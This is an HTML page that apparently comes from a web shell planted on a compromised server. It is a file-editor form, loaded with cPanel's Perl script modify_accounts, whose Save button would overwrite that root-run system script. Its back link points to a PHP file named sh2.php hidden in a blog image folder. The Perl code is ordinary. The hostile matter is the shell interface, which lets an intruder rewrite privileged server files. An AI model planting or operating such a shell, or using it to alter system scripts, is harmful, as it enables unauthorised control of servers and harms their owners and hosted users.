<h2>Edit File - modify_accounts</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/modify_accounts">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2024 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::modify_accounts;

use strict;
use warnings;

use Cpanel::Config::Constants       ();
use Cpanel::AcctUtils::Owner        ();
use Cpanel::Config::LoadUserDomains ();
use Cpanel::JSON                    ();
use Cpanel::Logger                  ();
use Cpanel::Reseller                ();
use Cpanel::SafeRun::Errors         ();
use Whostmgr::ACLS                  ();

use Getopt::Long ();

my $logger = Cpanel::Logger-&gt;new();

local $| = 1;

exit main(@ARGV) unless caller;

sub main {
    my @args = @_;

    if ( $&gt; != 0 ) {
        $logger-&gt;die(&quot;Sorry, only root can use this script.&quot;);
    }

    my ( $theme, $users, $help, $all_users, $reseller, $style );

    Getopt::Long::GetOptionsFromArray(
        \@args,
        &#039;help&#039;                      =&gt; \$help,
        &#039;theme=s&#039;                   =&gt; \$theme,
        &#039;all-users&#039;                 =&gt; \$all_users,
        &#039;users=s&#039;                   =&gt; \$users,
        &#039;all-users-from-reseller=s&#039; =&gt; \$reseller,
        &#039;style=s&#039;                   =&gt; \$style
      )
      and ( !@args )
      or do {
        usage();
        exit 1;
      };

    if ($help) {
        usage();
        exit;
    }

    unless ( $theme &amp;&amp; ( $all_users || $users || $reseller ) ) {
        usage();
        exit 1;
    }

    if ($reseller) {
        unless ( Cpanel::Reseller::isreseller($reseller) ) {
            $logger-&gt;die(&quot;&#039;$reseller&#039; is not a reseller.&quot;);
        }
    }

    local $ENV{&#039;REMOTE_USER&#039;} = &#039;root&#039;;

    Whostmgr::ACLS::init_acls();

    my %userdomains = Cpanel::Config::LoadUserDomains::loadtrueuserdomains( undef, 1 );

    my @list_users;
    if ( $all_users || $reseller ) {
        @list_users = keys %userdomains;
        if ($reseller) {
            @list_users = grep { my $real_owner = Cpanel::AcctUtils::Owner::getowner($_); $real_owner &amp;&amp; $real_owner eq $reseller ? 1 : 0 } @list_users;
        }
    }
    else {
        @list_users = split( /\s*,\s*/, $users );
    }

    my %updated_users;
    foreach my $user (@list_users) {
        unless ( exists $userdomains{$user} ) {
            $logger-&gt;warn(&quot;User: $user does not exist.&quot;);
            next;
        }

        my %modify_opts = (
            &#039;user&#039;    =&gt; $user,
            &#039;CPTHEME&#039; =&gt; $theme,
        );
        $modify_opts{&#039;STYLE&#039;} = $style if $style;

        # Whostmgr::Accounts::Modify does not ship,
        # we need to use whmapi1 modifyacct instead
        my $json = Cpanel::SafeRun::Errors::saferunallerrors(
            &#039;/usr/local/cpanel/bin/whmapi1&#039;,
            &#039;--output&#039;, &#039;json&#039;,
            &#039;modifyacct&#039;,
            %modify_opts
        );
        my $response = Cpanel::JSON::Load($json);

        if ( $response-&gt;{&#039;metadata&#039;}{&#039;result&#039;} == 0 ) {
            $logger-&gt;warn( &quot;Unable to update data for $user: &quot; . $response-&gt;{&#039;metadata&#039;}{&#039;reason&#039;} );
        }
        else {
            $updated_users{$user} = 1;
        }
    }

    my @failed_accts = grep { !$updated_users{$_} } @list_users;
    if ( scalar @failed_accts ) {
        $logger-&gt;warn( &quot;Could not update these users: &quot; . join( &#039;, &#039;, @failed_accts ) );
        exit 1;
    }
    else {
        $logger-&gt;info(&quot;Users are successfully updated.&quot;);
        exit 0;
    }
}

sub usage {
    print &lt;&lt;&quot;EOM&quot;;

modify_accounts: Modify existing accounts to use a theme or a style

Usage:
    modify_accounts --theme=$Cpanel::Config::Constants::DEFAULT_CPANEL_THEME [--users=user1,another_user|--all-users|--all-users-from-reseller=reseller1]

  Options:
    --help: print usage and exit
    --theme: the theme to be adopted
    --users: a list of users to be modified, comma separated
    --all-users: update all users on the system
    --all-users-from-reseller: update all users that are owned by reseller
    --style: update specified users to use this style
EOM
    return;
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>